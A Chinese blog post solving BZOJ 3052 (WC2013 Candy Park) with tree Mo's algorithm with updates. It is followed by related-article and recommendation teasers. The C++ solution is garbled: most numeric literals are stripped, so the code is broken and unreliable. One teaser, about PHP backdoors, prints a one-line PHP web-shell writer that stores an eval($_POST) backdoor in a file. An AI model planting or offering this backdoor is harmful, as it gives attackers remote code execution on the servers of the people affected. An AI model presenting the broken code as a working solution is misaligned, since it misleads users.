传送门:http://www.lydsy.com/JudgeOnline/problem.php?id=3052

题目大意:自己看看,懒得写

题解:带修改的树上莫队,经典爆评测机的题

代码:

 #include<iostream>
#include<cstring>
#include<cstdio>
#include<algorithm>
#include<cmath>
#define maxn 100100
#define ll long long
using namespace std;
int n,m,q,blo;
ll ans;
int tot,top,totc,totq,lydsytime,belong;
int bin[],deep[maxn],fa[maxn][],dfn[maxn];
int z[maxn];
int num[maxn];
int now[maxn],v[maxn*],pre[maxn*];
int pos[maxn];
ll res[maxn],val[maxn],c[maxn],cpre[maxn],w[maxn];
bool vis[maxn];
struct data{
int x,y,t,id;
ll pre;
}cg[maxn],bg[maxn];
int read()
{
int x=; char ch; bool bo=;
while (ch=getchar(),ch<''||ch>'') if (ch=='-') bo=;
while (x=x*+ch-'',ch=getchar(),ch>=''&&ch<='');
if (bo) return -x; return x;
}
bool cmp(data a,data b)
{
if (pos[a.x]==pos[b.x]) return dfn[a.y]<dfn[b.y]; return pos[a.x]<pos[b.x];
}
void ins(int a,int b){++tot; pre[tot]=now[a]; now[a]=tot; v[tot]=b;
}
void prework(){
bin[]=;
for (int i=; i<=; i++) bin[i]=bin[i-]*;
}
int dfs(int x)
{
int size=;
dfn[x]=++lydsytime;
for (int i=; i<=; i++)
if (deep[x]>=bin[i])
fa[x][i]=fa[fa[x][i-]][i-];
else
break;
for (int p=now[x]; p; p=pre[p])
{
int son=v[p];
if (son==fa[x][]) continue;
deep[son]=deep[x]+;
fa[son][]=x;
size+=dfs(son);
if (size>blo)
{
belong++;
for (int i=; i<=blo; i++) pos[z[top--]]=belong;
size=;
}
}
z[++top]=x;
return size+;
}
int lca(int x,int y)
{
// cout<<" pre "<<x<<" "<<y<<endl;
if (deep[x]<deep[y]) swap(x,y);
int t=deep[x]-deep[y];
for (int i=; bin[i]<=t; i++)
if (bin[i]&t)
x=fa[x][i];
for (int i=; i>=; i--)
if (fa[x][i]!=fa[y][i])
x=fa[x][i], y=fa[y][i];
// cout<<" now "<<x<<" "<<y<<endl;
if (x==y) return x;
return fa[x][];
}
void reverse(int x)
{
//cout<<" re "<<x<<" "<<c[x]<<" "<<val[c[x]]<<" "<<num[c[x]]<<" "<<w[num[c[x]]+1]<<" "<<w[1]<<endl;
if (vis[x]) ans-=val[c[x]]*w[num[c[x]]],num[c[x]]--;
else num[c[x]]++,ans+=val[c[x]]*w[num[c[x]]];
vis[x]^=;
}
void work(int u,int v)
{
//cout<<" pre u v "<<u<<" "<<v<<endl;
while (u!=v)
{
if (deep[u]>deep[v])
{
reverse(u);
u=fa[u][];
}
else
{
reverse(v);
v=fa[v][];
}
//cout<<" now u v "<<u<<" "<<v<<" "<<endl;
}
}
void change(int x,int y)
{
if (vis[x])
{
reverse(x);
c[x]=y;
reverse(x);
}
else c[x]=y;
}
void init()
{
n=read(); m=read(); q=read();
blo=pow(n,2.0/)*0.5;
for (int i=; i<=m; i++) val[i]=read();
for (int i=; i<=n; i++) w[i]=read();
for (int i=; i<n; i++)
{
int u=read(),v=read();
ins(u,v); ins(v,u);
}
dfs();
//for (int i=1; i<=n; i++) cout<<" dsdsd "<<fa[i][0]<<" "<<dfn[i]<<endl;
belong++;
while (top) pos[z[top--]]=belong;
for (int i=; i<=n; i++) c[i]=cpre[i]=read();
for (int i=; i<=q; i++)
{
int type=read(),x=read(),y=read();
if (!type)
{
totc++; cg[totc].x=x,cg[totc].y=y,cg[totc].pre=cpre[x],cpre[x]=y;
}
else
{
totq++; bg[totq].x=x,bg[totq].y=y,bg[totq].t=totc; bg[totq].id=totq;
}
}
sort(bg+,bg+totq+,cmp);
/*for (int i=1; i<=totq; i++)
{
cout<<" "<<bg[i].x<<" "<<bg[i].y<<" "<<bg[i].t<<" "<<endl;
}*/
}
void solve()
{
for (int i=; i<=bg[].t; i++) change(cg[i].x,cg[i].y);
work(bg[].x,bg[].y);
int t=lca(bg[].x,bg[].y);
//cout<<" "<<t<<" "<<bg[1].x<<" "<<bg[1].y<<endl;
reverse(t); res[bg[].id]=ans; reverse(t);
for (int i=; i<=totq; i++)
{
for (int j=bg[i-].t+; j<=bg[i].t; j++)
change(cg[j].x,cg[j].y);
for (int j=bg[i-].t+; j>bg[i].t; j--)
change(cg[j].x,cg[j].pre);
work(bg[i-].x,bg[i].x); work(bg[i-].y,bg[i].y);
int t=lca(bg[i].x,bg[i].y);
reverse(t); res[bg[i].id]=ans; reverse(t);
}
}
int main()
{
prework();
init();
solve();
for (int i=; i<=totq; i++)
printf("%lld\n",res[i]);
}
/*
4 3 5
1 9 2
7 6 5 1
2 3
3 1
3 4
1 2 3 2
1 1 2
1 4 2
0 2 1
1 1 2
1 4 2
*/

一次CE,一次WA,一次AC

-------------哦,对了这道题还是有个坑,就是怎么推出带修改的树上莫队时间复杂度!待zfy来教我补!

bzoj3052的更多相关文章

  1. BZOJ3052/UOJ#58 [wc2013]糖果公园 莫队 带修莫队 树上莫队

    原文链接https://www.cnblogs.com/zhouzhendong/p/BZOJ3052.html 题目传送门 - BZOJ3052 题目传送门 - UOJ#58 题意 给定一棵树,有 ...

  2. 【BZOJ3052】【UOJ#58】【WC2013】糖果公园(树上莫队)

    [BZOJ3052][UOJ#58][WC2013]糖果公园(树上莫队) 题面 UOJ 洛谷 Candyland 有一座糖果公园,公园里不仅有美丽的风景.好玩的游乐项目,还有许多免费糖果的发放点,这引 ...

  3. 【BZOJ3052】[wc2013]糖果公园 带修改的树上莫队

    [BZOJ3052][wc2013]糖果公园 Description Input Output Sample Input Sample Input Sample Output 84 131 27 84 ...

  4. [BZOJ3052][UOJ#58][WC2013]糖果公园

    [BZOJ3052][UOJ#58][WC2013]糖果公园 试题描述 Candyland 有一座糖果公园,公园里不仅有美丽的风景.好玩的游乐项目,还有许多免费糖果的发放点,这引来了许多贪吃的小朋友来 ...

  5. bzoj3052: [wc2013]糖果公园

    又是一代神题. uoj测速rank10,bzoj测速rank26(截止当前2016.5.30 12:58) 带修改的树上莫队. 修改很少,块的大小随便定都能A 然而我一开始把开3次根写成了pow(bl ...

  6. 【BZOJ-3052】糖果公园 树上带修莫队算法

    3052: [wc2013]糖果公园 Time Limit: 200 Sec  Memory Limit: 512 MBSubmit: 883  Solved: 419[Submit][Status] ...

  7. BZOJ3052——糖果公园

    0.题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=3052 1.题目大意:给定一颗n个点的无根树,每个点有一个颜色,要进行q次操作,有两种操 ...

  8. 【分块】【树上莫队】bzoj1086 bzoj3052

    1086 http://vfleaking.blog.163.com/blog/static/174807634201231684436977/ 3052 http://vfleaking.blog. ...

  9. BZOJ3052(树上带修莫队)

    树上莫队的基本思路是把树按dfs序分块,然后先按x所在块从小到大排序,再按y所在块从小到大排序,处理询问即可. 这道题带修改,再加一个时间维即可. 设块大小为T,那么时间复杂度为$O(nT+\frac ...

随机推荐

  1. nginx slab内存管理

    本来这一篇作为nginx系列的开头是不合适的,不过由于nginx进程框架自己的梳理还没完成,这部分又刚好整理完了,就从这开始吧.这儿谈的是nginx的slab的内存管理方式,这种方式的内存管理在ngi ...

  2. 使用nodejs的net模块创建TCP服务器

    使用nodejs的net模块创建TCP服务器 laiqun@msn.cn Contents 1. 代码实现 2. 使用telnet连接服务器测试 3. 创建一个TCP的client 1. 代码实现 ; ...

  3. zf-关于表单不能提交的bug修改

    因为使用onclick="submitForm();" 函数提交的 就表示 这里面有js代码 js代码 里面使用document.from1.submit()提交的 所以from ...

  4. 【简单dp】 poj 2346

    题意:给定一个N 求一共有多少个N位数     前N/2个数的和等于后N/2个数的和思路:令F[i][j] 为sum值为j的i位数的个数则问题转化成 求 sum(F[n/2][j] * F[n/2][ ...

  5. POJ 3660 Cow Contest 弗洛伊德

    题意难懂是POJ的标配,这都TM赖本泽马. 题意:有N头牛进行了M场比赛,比赛双方是A - B 且总是A赢(前面的那个数赢),如果说A赢B,B赢C 则可以确定A赢C.问最终多少头牛的排名可以确定. 思 ...

  6. we7 数据库

    备份其他we7网站数据库 然后附加数据库,重新命名即可 不能是对其他we7数据库生成脚本,然后执行脚本,因为后台需要一些配置数据 不然后台看不到左侧的工具栏

  7. 丑数<数学技巧>

    题意:丑数就是质因子只有2,3,5 ,7,的数,另外1也是丑数.求第n(1=<n<=5842)个丑数,n=0,结束. 思路:.3.5或者7的结果(1除外).那么,现在最主要的问题是如何排序 ...

  8. 4个特殊ping

    当你的网络出现故障或无法连通时,如何才能简单高效的找出故障?其实只需要一个ping命令,就可以判断TCP/IP协议故障…… 1.Ping 127.0.0.1: 127.0.0.1是本地循环地址,如果本 ...

  9. PAT (Advanced Level) 1053. Path of Equal Weight (30)

    简单DFS #include<cstdio> #include<cstring> #include<cmath> #include<vector> #i ...

  10. php后门屌炸天

    fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然 ...